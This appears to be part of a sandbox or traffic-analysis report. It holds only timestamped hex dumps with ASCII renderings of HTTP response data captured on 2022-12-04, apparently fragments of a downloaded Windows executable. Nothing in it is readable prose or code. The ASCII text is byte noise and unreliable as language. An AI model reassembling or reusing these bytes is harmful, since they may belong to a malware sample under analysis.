                                                                                                                                                  2022-12-04 11:05:58 UTC1274INData Raw: 74 06 ad 6a 4c e5 73 46 55 1e e3 c3 b4 3f 59 8c c3 a8 e6 bf 59 ec a6 ad 12 bd 75 b3 9a 56 e3 f9 02 c6 7f c3 96 06 f3 3f 31 74 bc 94 c3 f0 9a a3 4d a9 83 c3 95 36 46 cc 61 cd ca 65 91 e6 e6 88 1e af 02 dd 60 7e ae a1 68 4a bd 2a b4 e4 93 d5 6c ee 98 cc 61 5d 17 9b 6a e0 6c e7 6b 7d 3e 6b 30 a5 32 ff 34 26 16 17 b0 36 fc 64 ed 44 bf f1 c2 e6 e7 67 51 61 24 26 bc b0 68 5b ff d6 29 ab 61 3e d2 b2 46 ab 18 8e c4 2a c3 8f ac 3e db d9 82 df 5c 13 00 02 5e d2 2d d9 b4 5f 67 1f ca 54 d8 cb e8 9c 0f be 8e 8a 1f 8c 7e f2 71 c6 7e 2e 8b 6d 6d cd 21 88 c7 ad fb 92 57 cc 8c 16 53 ba 50 89 8f 98 1c c0 51 5e 7f eb 9d 58 f8 61 fe 35 88 86 16 2d ff f0 98 34 29 d1 2f 51 0a aa 9f c1 75 bf b4 91 22 fb ad d9 8c 55 1d 86 d0 a1 65 3c 86 a7 1e b4 78 fd 87 1f 9e 2e 6c ae 99 bd 9b
                                                                                                                                                  Data Ascii: tjLsFU?YYuV?1tM6Fae`~hJ*la]jlk}>k024&6dDgQa$&h[)a>F*>\^-_gT~q~.mm!WSPQ^Xa5-4)/Qu"Ue<x.l
                                                                                                                                                  2022-12-04 11:05:58 UTC1282INData Raw: 8a 7b 55 dd 43 4f a5 a7 3f 53 4f 1e da 68 ec 67 70 77 ea 0b 34 4f 2d b6 81 1d c2 fc b5 7a 84 69 79 22 ee c2 3e c2 1a ba 6e a4 47 76 2b d2 21 ad ab 16 9e 7d 99 1a b2 5b e3 c8 09 a3 5f 8e 51 dd 26 cb 7e 15 7f 48 5c b2 51 00 04 38 e0 f5 69 b0 ea ce 7f 1c 5e 04 9c e8 93 10 b3 62 87 78 d1 a7 f8 e0 b4 47 68 f9 43 53 49 8f 05 5f f8 57 3f 2e 84 58 cf c3 45 a2 af 96 15 75 5b e1 3e 2d 35 68 ad 4f ee 0a f9 f7 a4 a2 2e 29 6a 4e 56 5b d4 9b c3 92 d6 4a b3 76 94 88 a2 fe f0 2f 4f fa f8 bb dc 54 26 61 86 9d ee 98 54 73 5e 95 19 8c fc 7e bc a3 b7 15 6b 60 c1 6e 1c 8a 89 ff 60 b1 a2 f4 36 1a ea b8 38 b2 25 38 b7 f3 23 15 b3 08 8b 2a 35 3d 0d 42 f6 de 6f 58 e2 b0 6e cc ad 99 4e 59 8b 1f 55 04 f4 26 a2 50 17 de 94 d6 98 a4 cc f6 49 0a bb 2f 6d d3 9e b1 ba 59 9c 91 30 67 9b
                                                                                                                                                  Data Ascii: {UCO?SOhgpw4O-ziy">nGv+!}[_Q&~H\Q8i^bxGhCSI_W?.XEu[>-5hO.)jNV[Jv/OT&aTs^~k`n`68%8#*5=BoXnNYU&PI/mY0g
                                                                                                                                                  2022-12-04 11:05:58 UTC1290INData Raw: c0 50 7a 8e c5 9d b0 bb 83 4f 67 60 11 81 d4 67 a5 cd 54 d1 c6 65 c1 fd 28 81 74 33 41 a4 48 f3 bc 57 41 b2 8e 3d 63 54 64 5e 27 23 ce bd 4c 2f 01 17 a5 57 23 06 61 c2 fd dc 3b 1c 7c 8b f3 ac 98 21 c8 5a 9e d4 ed d6 76 25 94 fd b4 dc 48 cd 68 3d b1 16 54 9c 97 dd 29 be e6 4a bc 0e 6a d4 2f 57 e8 85 f4 a7 ad 75 33 d8 21 c4 5b e1 1a a3 03 94 0f e0 60 86 00 f4 3d 1b 28 66 dd 21 23 03 67 1e fd 0f ad 4a 9d 74 ba e7 cf 71 d8 6f 8f 9b d0 6a 6f ea 18 18 13 b7 9e 7f 9e 10 11 6a 0d 6c 46 e6 81 79 1b 81 21 26 a0 a2 7b 9c 4e e2 42 aa a9 df b0 91 c7 b2 d9 7a ff c6 64 bb c7 68 2c 3a c7 6f 27 d1 7f 31 e6 a4 9d 8d 5d 15 0c 50 8e 3e a9 42 0d 4f 88 9e 60 82 10 ed 1f 7c 3e 46 07 8e 8a a6 da f9 3b 25 92 63 c2 01 ba 06 7f fc c2 bd 19 a7 b0 71 f1 43 25 15 13 70 5a 1c 70 ee 44
                                                                                                                                                  Data Ascii: PzOg`gTe(t3AHWA=cTd^'#L/W#a;|!Zv%Hh=T)Jj/Wu3![`=(f!#gJtqojojlFy!&{NBzdh,:o'1]P>BO`|>F;%cqC%pZpD
                                                                                                                                                  2022-12-04 11:05:58 UTC1297INData Raw: 09 b4 2c 0e ba c8 16 01 fb 29 13 da 00 05 93 95 2e 99 d0 54 d2 6a 99 5a 9e a0 64 da c9 c4 e9 e9 59 69 73 79 0c 26 ca 4e 4a 4a cf 4d c3 19 0b d4 3e 01 e9 4a 4e 7e 35 31 5f 32 08 f2 74 68 59 3b 62 e9 fe f3 29 d1 31 31 eb 27 4d 4d fb c9 4c ba 9c cc ec bf 5e 2e cf 54 95 ce fd 6a 90 b5 95 fd e5 96 b5 a2 73 71 aa cf c0 f6 b0 bd 88 55 1b 2c 57 dd 11 ae 69 99 a9 f9 26 53 98 0b 2d 31 29 37 66 2e 9b 76 79 79 f9 d9 96 8e b2 52 96 d3 a5 86 e6 67 a2 7d c4 64 a3 c5 a9 89 3f a3 4c 20 4d 4c da 7e 7e c5 c8 ca 42 5a b7 ab 55 2e 8a ab c8 be 18 58 58 a5 cd 86 ea fe 71 bd 25 27 66 a5 66 e6 e6 e7 e7 a6 a5 e5 27 a6 e7 67 b7 a9 4f ca 5d cf 4e 24 98 4e b4 9d 2f 39 68 2b 7e 4a cd 70 74 d4 89 c1 8c af e6 24 ff cc b1 d6 9b 56 fa 26 ab 93 f3 2d 6a a5 af e2 26 b2 a0 1d 28 ab e2 64 55
                                                                                                                                                  Data Ascii: ,).TjZdYisy&NJJM>JN~51_2thY;b)11'MML^.TjsqU,Wi&S-1)7f.vyyRg}d?L ML~~BZU.XXq%'ff'gO]N$N/9h+~Jpt$V&-j&(dU
                                                                                                                                                  2022-12-04 11:05:58 UTC1305INData Raw: fe bf 30 0d ef be 51 d6 96 72 2c b6 10 8f 78 26 e1 21 6f ca 30 bf 12 f0 a3 9c c8 12 7b 5a 9a a6 bc 77 fe 6b ee ee d3 20 8c ef b3 76 21 57 c9 4c c2 6a 9d fb 0a 81 f0 d1 2f 99 33 7a a7 0e 37 e1 f8 a4 9c aa 3a 46 45 d3 41 dc dc 19 7a 52 b0 15 a1 7b 32 fe 43 b6 c9 40 5b 5f 60 e4 23 2d 2b 01 01 1f 11 ae d2 7d 16 39 76 83 3a 61 13 bc 7a a9 5d 7b b5 e8 09 4a 71 6d d1 50 c2 21 48 c4 0e 33 87 52 74 28 61 57 3e 88 f8 e9 e5 8a e7 ea ba 14 c2 c3 02 38 55 df 44 f1 1f 76 eb f4 9c 6d 22 4d 60 a6 e0 7d 67 9c dd bb 63 1d 67 23 71 5e 95 bd 5d 9a 8f 27 cf ef 72 ec 8f 55 2b 93 08 61 54 7d 61 27 ff ec 2d 4b 94 ff b6 d4 8e 89 5b 8a e4 45 9d e8 f3 8d 90 0f 7f 39 c5 d4 45 e2 d3 ef 46 31 e1 16 cb 43 08 7a 62 d4 43 89 58 93 81 98 38 76 e4 9c 74 dc 83 55 5e a8 31 f7 74 4e 66 50 a5
                                                                                                                                                  Data Ascii: 0Qr,x&!o0{Zwk v!WLj/3z7:FEAzR{2C@[_`#-+}9v:az]{JqmP!H3Rt(aW>8UDvm"M`}gcg#q^]'rU+aT}a'-K[E9EF1CzbCX8vtU^1tNfP
                                                                                                                                                  2022-12-04 11:05:58 UTC1313INData Raw: 2c b8 24 c5 86 bf d6 14 fa 2a 3e 81 f0 a6 83 95 8a dc 7d ea ac 22 0c 1e b3 72 78 9a e5 2f ab cd d0 7d 48 ab f5 b7 81 9b 36 e1 9c bc fe ef 57 65 9f 40 e6 30 1e e3 95 9c da 33 e2 3f 7b c1 22 e5 17 ef f4 e2 f7 22 cb 7c eb 53 47 9b c7 58 16 0b c9 65 1f 18 c5 48 d1 18 d0 52 e7 7c 29 90 49 18 9d 7c 2a c9 29 f1 08 28 0f be 11 b3 13 70 8d 5a c5 4f a1 93 4a 96 77 43 97 18 74 ea 9f d6 e7 22 c7 9f 94 24 47 83 90 09 d6 a5 06 2d 6e 6c a0 c3 28 cc 99 8f b3 8e b8 72 c9 37 79 79 e5 75 aa 82 db d0 08 f6 6a 3f 9f c6 01 f2 2c f1 dc 2c e6 e3 e4 f4 ef 89 74 63 3c 49 f3 1e 8b c7 3c 1e c7 3f 56 8b fa ae 31 b9 ee 23 28 20 c2 c3 b5 ef c4 8d fd c0 49 82 51 e1 9e 0a 4c 50 2e 91 28 b5 7a 06 a5 ec fe 40 1b f8 84 d3 2e 2f a6 23 20 96 a1 07 cf 29 89 a9 49 d2 ab df ef 4c c2 2b bf 5e 34
                                                                                                                                                  Data Ascii: ,$*>}"rx/}H6We@03?{""|SGXeHR|)I|*)(pZOJwCt"$G-nl(r7yyuj?,,tc<I<?V1#( IQLP.(z@./# )IL+^4
                                                                                                                                                  2022-12-04 11:05:58 UTC1321INData Raw: e1 7b 1b e4 0e 1c 89 e8 17 7b 77 42 99 2f 47 14 95 87 45 bd bb 11 6c a2 6d 75 bc 04 6a d1 81 e0 a0 51 7c ed c0 ef e6 9c a4 75 ef 55 dd 3f 75 65 dd 2c 1e 91 71 7b a8 75 dc 67 6e c6 2b b5 7f 3c c3 ff e7 ca e8 4a 14 fa 3e 0e 36 dc a0 df 09 45 e1 58 3a 79 24 3f 08 14 2c 3b 67 0a 6e 0a c3 c4 45 96 ba e9 e0 12 15 f2 54 b0 81 47 8e dd 3f d1 c4 7c 4c f3 4d 05 13 20 85 d1 68 4a 4f d1 ed ce 8b fe 1f d1 56 3e 3b 2b a0 17 10 cc 25 ca 8b fd 93 10 70 0c ea 4b 5e 81 24 7d f6 75 53 b7 ab fe e1 3f 85 9a d1 90 d2 e7 73 16 13 23 35 a4 34 f5 5e 15 12 32 b4 ff 57 2a 86 f5 d2 28 b6 2f 0b ce 7c 98 2a de 0d e6 84 83 47 8a cd b8 4d 03 f9 14 cc 05 55 53 06 2c 6e f9 2e eb cf 9d 34 2a a6 49 6f 03 40 d0 ee 4f 3a ed c0 c3 54 5c 3e e9 1b 72 10 61 bb 48 57 12 13 85 7c e9 63 b1 5f ea 09
                                                                                                                                                  Data Ascii: {{wB/GElmujQ|uU?ue,q{ugn+<J>6EX:y$?,;gnETG?|LM hJOV>;+%pK^$}uS?s#54^2W*(/|*GMUS,n.4*Io@O:T\>raHW|c_
                                                                                                                                                  2022-12-04 11:05:58 UTC1329INData Raw: 6f fa f0 b4 34 cf 77 48 9e 89 92 3a 19 7c c4 2e 4e 7c d4 9f a6 e6 1e b4 fd 15 37 2d 4e 1d 86 50 05 68 f9 98 bd ec e0 f1 7d da bb 83 0b c1 e4 fd a1 80 5b 39 ca 38 a9 76 ff 98 c4 f7 51 72 75 b7 08 36 f6 f6 21 e4 ae d3 aa 8f 19 e0 86 5c e9 5a 37 64 3f 23 ca d7 a2 5d f4 88 dc e6 ad 05 78 bb ff 4c ca 36 9f 2c c0 cd fd ea c2 cb 13 01 80 8a cc 03 d0 ed 09 6a 9a ab a8 8f e3 5b b7 12 35 6d f7 55 c3 a8 c4 03 0d 6b 2a 31 a6 7f 97 99 47 88 5b e9 ad e8 ec 86 b7 8c bd 3a 7d 8e 83 38 bc 86 7b 20 9e 74 42 9d f1 f8 b1 10 75 ff 2d bc 9c b9 61 32 9a 07 13 9a fb 6d 11 f6 5c fb db 37 76 fd 03 1f 4f 0c 4c b2 35 f1 b7 bd f1 ef bb 73 6e 05 fe 40 17 d9 13 da 59 35 4e 77 6e 34 6d ab 82 2d ed 47 6b 35 1a a3 fa 2c d7 ff d7 52 63 a5 44 db 9c d1 e2 65 bc c3 69 6f 85 ea 98 92 56 c1 91
                                                                                                                                                  Data Ascii: o4wH:|.N|7-NPh}[98vQru6!\Z7d?#]xL6,j[5mUk*1G[:}8{ tBu-a2m\7vOL5sn@Y5Nwn4m-Gk5,RcDeioV
                                                                                                                                                  2022-12-04 11:05:58 UTC1336INData Raw: f3 8c 66 c0 b8 9d 45 72 53 ff bd 5e b5 a9 d5 ab 12 57 42 a3 35 d3 c5 8a e1 57 8b 22 ee 30 37 a1 70 42 e0 d3 62 3c a1 8d 34 c6 14 29 5a 0d 43 a0 49 e9 5f 68 5a 10 60 6c 07 ca 61 61 d3 fc 80 cd b5 7e 7d d9 72 23 42 ac be ba 72 5b f9 bc 75 f6 a0 85 5f a9 f1 e2 ab f5 a3 ea 4f 5d 90 40 0c dd 2c 3f bd b3 ff b8 be 51 11 2e 30 8e 1f 30 be a0 f8 cc 8f 62 0f 64 89 74 7c 9e 56 12 f0 7f 80 2c fb 76 5b 54 60 42 58 dc d1 3e 44 b4 75 f3 d5 cc e5 1e b5 18 68 6b 9a e2 8f ea cd b4 8d 8a 30 53 d4 f2 eb 86 d6 5e 6c 14 79 24 78 6c ca 76 5f 2b bd 07 f7 03 a2 11 f7 f6 37 39 7a 3b cc bf 4c 4f 2d be 73 65 c1 5c db 1a ee 6b b3 79 d3 b3 da 77 95 eb 45 bf fa 89 2c ce 6c 75 23 7c af 28 5d f2 27 f6 fa 67 50 f7 01 61 09 92 d8 7f 83 5e fe 19 45 07 e6 47 8f ad e4 54 1b a2 bf ee ed e7 bb
                                                                                                                                                  Data Ascii: fErS^WB5W"07pBb<4)ZCI_hZ`laa~}r#Br[u_O]@,?Q.00bdt|V,v[T`BX>Duhk0S^ly$xlv_+79z;LO-se\kywE,lu#|(]'gPa^EGT
                                                                                                                                                  2022-12-04 11:05:58 UTC1344INData Raw: 3d c6 2d 86 b5 ad ba 6c 9b dd 68 69 84 8d c5 50 90 84 14 8b 63 a8 a3 54 5a 14 d1 90 d5 56 5f 6d b6 f6 0c ab 86 22 31 8c 01 10 99 a1 aa a2 80 bb 00 03 df 1f 57 a7 dc 4f 70 a4 a4 f7 c1 b8 2c aa 6f f9 da c6 05 5f fb f8 c2 b6 a3 0c 36 9a cd a5 b9 24 2b 14 4a 6b 86 45 b1 90 14 be 66 ab 6c c8 c2 79 d5 95 1b aa 38 33 68 e9 61 b6 75 b4 6a c3 61 92 7d bc 2f 2b e4 0e f3 46 a6 3c 57 17 06 b2 9d fe 37 42 82 d5 d5 37 00 89 5f 80 00 61 00 00 12 00 b0 19 31 03 93 b5 f3 9f f2 a5 f5 d8 72 b2 fb 3b 03 ff 82 bf 08 88 0e a2 a2 3f f2 15 c8 98 e1 2f 2c 04 90 3d 65 42 fc dc 5c dc 9d ef aa 73 be fc 99 7a ff 53 10 ac ac 9d 15 42 74 3b ac 10 9f fb b9 d6 48 ff c6 e7 b6 d8 fa b5 ef 0b 7d 93 f4 56 40 57 40 57 0c ae 84 ae 85 ae 31 5c e2 57 ca af 0a e2 2a 88 5e 21 ae 1c ae 88 5c 89 5d
                                                                                                                                                  Data Ascii: =-lhiPcTZV_m"1WOp,o_6$+JkEfly83hauja}/+F<W7B7_a1r;?/,=eB\szSBt;H}V@W@W1\W*^!\]
                                                                                                                                                  2022-12-04 11:05:58 UTC1352INData Raw: 12 42 01 1e 7a 76 21 04 b4 21 4e fe fb 5e 13 c3 47 ad 21 d0 7b 9c 02 6b a6 5d 0f 02 53 8b 0c 7f f3 c0 52 c4 20 54 21 21 ed b4 13 a7 d0 5e 9d 16 90 08 10 bd 87 84 b6 29 8b 9d 40 7b ea 5a 94 3f 42 a0 19 12 ab b5 0f d5 64 0c 75 d4 ab 0b cb c0 dd 2e ef f7 46 68 76 5b ea e5 11 da 92 97 ea d4 21 c4 d7 21 42 7e 9c 5a db 19 05 91 20 51 5b 65 93 50 be 97 ca 50 d3 f2 9e 7e b0 0c e6 ed b4 83 b5 c0 db 6b 95 d7 21 7d 20 f1 a5 d5 24 04 82 39 f5 e3 21 2c d6 21 f5 96 40 f9 b8 1c 35 5e 21 30 57 21 34 6e d0 ba de 8c 6e 8b 72 f8 04 07 c1 dc 4f 57 90 90 c8 ea a8 7a 32 a8 69 5d 85 b2 78 06 69 03 f8 d5 47 65 60 70 b4 48 b5 c0 06 ba 4f 0f 24 84 85 2d 3f e1 c0 52 fb ee 0e 83 a6 0d ef 02 dd a0 c3 fa 78 1f 06 37 5b 0a 04 4c 37 23 4f 03 49 5f 9f 6a 8a fc 89 36 12 c2 4a 1b 75 d3 86
                                                                                                                                                  Data Ascii: Bzv!!N^G!{k]SR T!!^)@{Z?Bdu.Fhv[!!B~Z Q[ePP~k!} $9!,!@5^!0W!4nnrOWz2i]xiGe`pHO$-?Rx7[L7#OI_j6Ju
                                                                                                                                                  2022-12-04 11:05:58 UTC1360INData Raw: 37 10 6b 0b 06 c4 81 8f 13 57 47 ea b9 fd e2 ed 5d 0b 20 b7 57 74 c4 ef a5 3a e7 f5 3b fc dd b5 9c 1e aa b8 7e b9 76 1a 4d 8e 0f f3 56 bc a5 8f 4c a8 0d ff 6f e5 b3 a9 d5 ba 3e 65 4d a7 68 c4 d5 fd d4 1a ee 02 a3 d9 8f e7 df 5e ef 34 0b 53 4f 35 05 fa 0b ee cb 47 53 b5 ff d7 54 f7 fe bf ad f4 af af ba 4f 9f 3c 00 80 54 79 6e fd b7 7d 6e d8 af 6f 4a cf 7b ae e4 93 c5 15 bf 48 d1 ea b0 61 bc 2f de 53 d2 8a 4f 95 0d 37 c8 1c 98 17 4a 05 db 54 34 5e 79 74 01 ee 05 e2 09 ee 8f 56 cf af ef 0f 6f ef 0f 10 cf 0f b4 3e e6 09 01 e5 aa 02 45 03 b7 3d 7e 2a d1 82 2e 4f ae 2a 2f 50 f0 6f 1f 50 ab 86 aa ad 1e a0 f4 9e fa 70 f6 da f1 f8 be c4 b9 aa 88 2c d8 27 3e 25 17 c5 20 5e 95 1f 3c 3f 55 a9 a3 03 e1 81 15 4c bf b9 5f 45 5f e0 1e de df 7e 2a 1f 53 7e d1 74 b9 52 5d
                                                                                                                                                  Data Ascii: 7kWG] Wt:;~vMVLo>eMh^4SO5GSTO<Tyn}noJ{Ha/SO7JT4^ytVo>E=~*.O*/PoPp,'>% ^<?UL_E_~*S~tR]
                                                                                                                                                  2022-12-04 11:05:58 UTC1368INData Raw: d1 5f 4d 93 c5 83 3d 94 2d 20 d7 18 56 6d 39 42 6f a1 ff f6 b0 4b 5e cf 72 16 00 90 00 00 e5 04 04 90 84 ab c8 2d 80 00 00 00 f7 01 ae fe 57 98 2e 77 38 9c d4 db 00 00 0f 00 cf 71 cd fe 3f 7c a0 de 00 00 4e 00 fe 31 7d 61 c6 56 77 ee 00 f6 00 10 00 00 28 2b 9e 00 ef 3c ac b2 90 23 00 01 00 00 ff 03 5f 28 3c 1e 00 ff 00 02 00 00 79 07 01 40 ed e7 c6 e5 60 1e 00 00 e0 02 dc 93 ab 36 15 a6 cb dd 0e a7 e6 36 11 b2 5c 8d 1c 21 e1 f5 29 67 00 00 00 00 cd 56 bb 3b d5 a7 7d be ed 53 00 f5 00 00 71 02 e7 8f 13 7d b3 53 aa 5e fa 66 10 00 00 00 3a 00 40 cb fa 07 3e d1 d4 9d d8 4d 40 00 00 00 f3 00 03 e0 a3 6c dd 5e eb 72 90 d3 00 01 00 00 9c 03 fe 75 c0 fe be 13 76 69 00 f5 00 00 1a 03 96 25 80 6d 00 00 38 00 00 f8 b9 1f d3 f7 1e 35 51 13 00 f2 cd 3f 53 d3 00 d4 00
                                                                                                                                                  Data Ascii: _M=- Vm9BoK^r-W.w8q?|N1}aVw(+<#_(<y@`66\!)gV;}Sq}S^f:@>M@l^ruvi%m85Q?S
                                                                                                                                                  2022-12-04 11:05:58 UTC1376INData Raw: 99 f7 fa e3 24 29 21 48 aa 34 97 9f 60 a4 d9 d3 50 df 1e 38 a9 88 9c a0 6e 26 77 9e d3 1d 28 3f 75 ca 0d fe 80 4f f5 60 5a 51 26 ab fd ce 7d f7 89 59 f3 15 ab ce e2 ec 82 aa a4 8e e1 9f 44 0e e0 72 6f d1 7d ce 11 f0 0f d3 44 89 9b b8 83 5e 1f 5d b4 8d 09 fe 3c 56 6d f2 2e e7 77 09 a2 0f 11 71 4b d5 7d 53 fe e6 79 97 ac f0 73 fc 19 c2 40 59 a1 d4 26 a5 b7 e6 fb 44 bb c6 9a d2 bf 15 ae 4d 4d c8 3d d4 b7 84 ac 60 ae e4 09 9d e8 ed 3a 2e 1b da d9 02 17 a7 c3 24 b9 a8 4a 6b 8b 9a c4 aa 8e a1 0a 31 4b 1e d6 36 09 78 b8 a2 8c 29 ad e8 b9 2b 8a 93 69 fc 09 b5 1c 92 11 c8 91 9c 92 97 e7 63 8d d8 57 de 34 5b 85 df 46 57 d2 c6 24 90 02 6b 29 63 dc c2 79 9f cf c4 c8 5f 80 1f 8a 71 d0 e8 eb fe e6 b9 83 7b e8 17 c7 ca 58 c3 27 1e 4d 46 df 83 2e 21 f3 bc 4b a9 09 2d f9
                                                                                                                                                  Data Ascii: $)!H4`P8n&w(?uO`ZQ&}YDro}D^]<Vm.wqK}Sys@Y&DMM=`:.$Jk1K6x)+icW4[FW$k)cy_q{X'MF.!K-
                                                                                                                                                  2022-12-04 11:05:58 UTC1383INData Raw: 31 da 31 e3 31 e8 31 05 32 15 32 24 32 30 32 36 32 42 32 48 32 63 32 a6 32 b8 32 eb 32 f1 32 02 33 08 33 0d 33 18 33 1e 33 2d 33 41 33 4e 33 5d 33 7f 33 8d 33 98 33 9e 33 a6 33 b6 33 bb 33 cf 33 d5 33 f1 33 03 34 09 34 0e 34 13 34 43 34 76 34 80 34 af 34 c0 34 07 35 16 35 3c 35 6e 35 bb 35 c8 35 d7 35 67 36 6d 36 a0 36 c3 36 f9 37 23 38 3a 38 83 38 a8 38 32 3a 80 3a 2c 3b 5e 3b b5 3b e3 3b 13 3c 18 3c 49 3c 4e 3c c3 3c d6 3c 03 3d 3d 3d 42 3d 83 3d e7 3d 40 3e 5e 3e 6b 3e 85 3e cd 3e ea 3e f0 3e f6 3e fc 3e 06 3f 0c 3f 22 3f 28 3f 30 3f 36 3f 3e 3f 5e 3f 64 3f 99 3f ae 3f b3 3f c6 3f cb 3f d5 3f e0 3f 00 00 00 80 00 00 58 01 00 00 06 30 0c 30 26 30 32 30 38 30 44 30 5c 30 73 30 96 30 b0 30 b8 30 c4 30 da 30 01 31 0b 31 18 31 3b 31 55 31 8b 31 9e 31 a4 31
                                                                                                                                                  Data Ascii: 111122$20262B2H2c2222233333-3A3N3]333333333334444C4v444455<5n5555g6m6667#8:8882::,;^;;;<<I<N<<<===B===@>^>k>>>>>>>??"?(?0?6?>?^?d????????X00&02080D0\0s000000111;1U1111
                                                                                                                                                  2022-12-04 11:05:58 UTC1391INData Raw: 35 ec 35 50 36 55 36 b7 36 cd 36 d4 36 13 37 4a 38 9a 38 a7 38 e4 38 fa 38 8d 39 00 3a 12 3a 32 3a 63 3a 36 3b 94 3b b5 3b d6 3b 0d 3c 7c 3c 90 3c c5 3c e3 3c 18 3d 27 3d 48 3d 5f 3d ba 3d 1b 3e 39 3e 59 3e bc 3e c1 3e 18 3f 1d 3f 47 3f 4c 3f 91 3f 96 3f ce 3f 00 00 00 70 03 00 48 01 00 00 05 30 43 30 64 30 c7 30 d8 30 ed 30 21 31 37 31 4c 31 8a 31 d2 31 0e 32 28 33 53 33 62 33 b7 33 eb 33 f8 33 05 34 0a 34 1d 34 2a 34 2f 34 59 34 5e 34 9a 34 a7 34 b4 34 b9 34 cc 34 d9 34 de 34 08 35 0d 35 3b 35 48 35 55 35 5a 35 71 35 7e 35 83 35 b1 35 b6 35 ea 35 f7 35 04 36 09 36 1c 36 29 36 2e 36 58 36 5d 36 8b 36 98 36 a5 36 aa 36 c1 36 ce 36 d3 36 2b 37 38 37 45 37 4a 37 61 37 6e 37 73 37 a6 37 ab 37 da 37 e7 37 f4 37 f9 37 0c 38 19 38 1e 38 45 38 4e 38 9b 38 a8 38
                                                                                                                                                  Data Ascii: 55P6U66667J888889::2:c:6;;;;<|<<<<='=H=_==>9>Y>>>??G?L????pH0C0d0000!171L1112(3S3b3333444*4/4Y4^4444444455;5H5U5Z5q5~555555666)6.6X6]66666666+787E7J7a7n7s7777777888E8N888
                                                                                                                                                  2022-12-04 11:05:58 UTC1399INData Raw: 31 48 31 4e 31 6a 31 70 31 8a 31 a0 31 a5 31 ce 31 f6 31 fc 31 02 32 08 32 14 32 1a 32 26 32 2c 32 45 32 4b 32 5a 32 60 32 a1 33 b0 33 b6 33 0c 34 17 34 41 34 5d 34 7b 34 90 34 a7 34 d5 34 96 37 2c 38 c8 38 e6 39 f2 39 fb 39 09 3a 18 3a 29 3a 30 3a 3c 3a 42 3a 73 3a a6 3a d2 3a 01 3b 1c 3b 29 3b 41 3b 54 3b 59 3b 71 3b 89 3b fc 3b 13 3c fc 3c 05 3e 91 3e a3 3e ac 3e b4 3e ba 3e c2 3e d8 3e de 3e eb 3e f1 3e fa 3e 01 3f 24 3f 57 3f 61 3f 6b 3f d7 3f 00 00 00 70 06 00 60 00 00 00 84 30 97 30 9c 30 44 31 54 31 6e 32 dd 32 e2 32 26 34 3b 35 84 35 b2 35 03 36 31 36 6c 37 7a 37 1b 38 4b 38 5b 38 b0 38 0b 39 19 39 68 39 76 39 80 3a cd 3a ab 3b f8 3b fd 3b 32 3c 37 3c 9b 3c fd 3c 38 3d 3d 3d 5e 3d 65 3d 6d 3d 7c 3d ff 3d 06 3e 3d 3e 4a 3e 00 00 00 80 06 00 a8 00
                                                                                                                                                  Data Ascii: 1H1N1j1p11111112222&2,2E2K2Z2`233344A4]4{44447,88999::):0:<:B:s:::;;);A;T;Y;q;;;<<>>>>>>>>>>>>?$?W?a?k??p`000D1T1n222&4;555616l7z78K8[8899h9v9::;;;2<7<<<8===^=e=m=|==>=>J>
                                                                                                                                                  2022-12-04 11:05:58 UTC1407INData Raw: 00 5c 00 00 00 58 30 f4 30 05 32 21 33 88 33 d3 33 22 35 50 35 01 38 13 38 25 38 4b 38 56 38 66 38 9f 38 ef 38 f5 38 68 39 31 3a 67 3a 87 3a b3 3a 92 3b 9f 3b ca 3b a2 3d ad 3d c0 3d ca 3d e8 3d f3 3d 4e 3e 6a 3e d0 3e e8 3e 18 3f 40 3f 72 3f 8c 3f b2 3f c4 3f 00 00 00 30 0c 00 64 00 00 00 70 30 a1 30 1e 32 ad 32 5e 33 3d 36 dc 36 0a 39 10 39 16 39 1c 39 43 39 6f 39 9b 39 a6 39 ad 39 b9 39 c3 39 cd 39 d1 39 d7 39 db 39 e3 39 ed 39 03 3a 14 3a 46 3a 52 3b 5d 3b 64 3b 6a 3b 79 3b 84 3b 8a 3b 90 3b a4 3b ac 3b 02 3c 16 3c e4 3c 58 3d 66 3d 35 3f 40 3f 4d 3f 59 3f 00 40 0c 00 a0 00 00 00 82 30 ed 30 07 31 14 31 44 31 68 31 73 31 80 31 a2 31 11 32 22 32 6a 32 83 32 07 33 1c 33 25 33 2e 33 4e 33 39 34 69 34 b9 34 08 35 4e 35 5e 35 7e 35 84 35 90 35 af 35 b5 35
                                                                                                                                                  Data Ascii: \X002!333"5P588%8K8V8f8888h91:g:::;;;======N>j>>>?@?r????0dp0022^3=669999C9o999999999999::F:R;];d;j;y;;;;;;<<<X=f=5?@?M?Y?@0011D1h1s1112"2j2233%3.3N394i445N5^5~55555
                                                                                                                                                  2022-12-04 11:05:58 UTC1415INData Raw: 34 b4 34 bc 34 c0 34 c4 34 c8 34 cc 34 d0 34 d4 34 d8 34 dc 34 e0 34 e8 34 ec 34 f0 34 f4 34 f8 34 fc 34 00 35 04 35 08 35 0c 35 10 35 18 35 1c 35 20 35 24 35 28 35 2c 35 30 35 34 35 38 35 3c 35 40 35 44 35 48 35 4c 35 50 35 54 35 58 35 5c 35 60 35 64 35 68 35 6c 35 70 35 74 35 78 35 7c 35 80 35 84 35 88 35 8c 35 90 35 94 35 9c 35 a4 35 ac 35 b4 35 bc 35 c4 35 cc 35 d4 35 dc 35 e4 35 ec 35 f4 35 fc 35 04 36 0c 36 14 36 1c 36 20 36 24 36 28 36 2c 36 30 36 3c 36 40 36 44 36 48 36 4c 36 50 36 54 36 58 36 5c 36 60 36 64 36 68 36 6c 36 70 36 74 36 78 36 80 36 84 36 88 36 8c 36 90 36 94 36 9c 36 a0 36 a4 36 a8 36 ac 36 b0 36 b4 36 b8 36 bc 36 c0 36 c4 36 c8 36 cc 36 d0 36 d4 36 d8 36 dc 36 e0 36 e4 36 e8 36 ec 36 f0 36 f4 36 f8 36 fc 36 00 37 04 37 08 37 0c 37
                                                                                                                                                  Data Ascii: 4444444444444444445555555 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|555555555555555555556666 6$6(6,606<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x666666666666666666666666666666667777
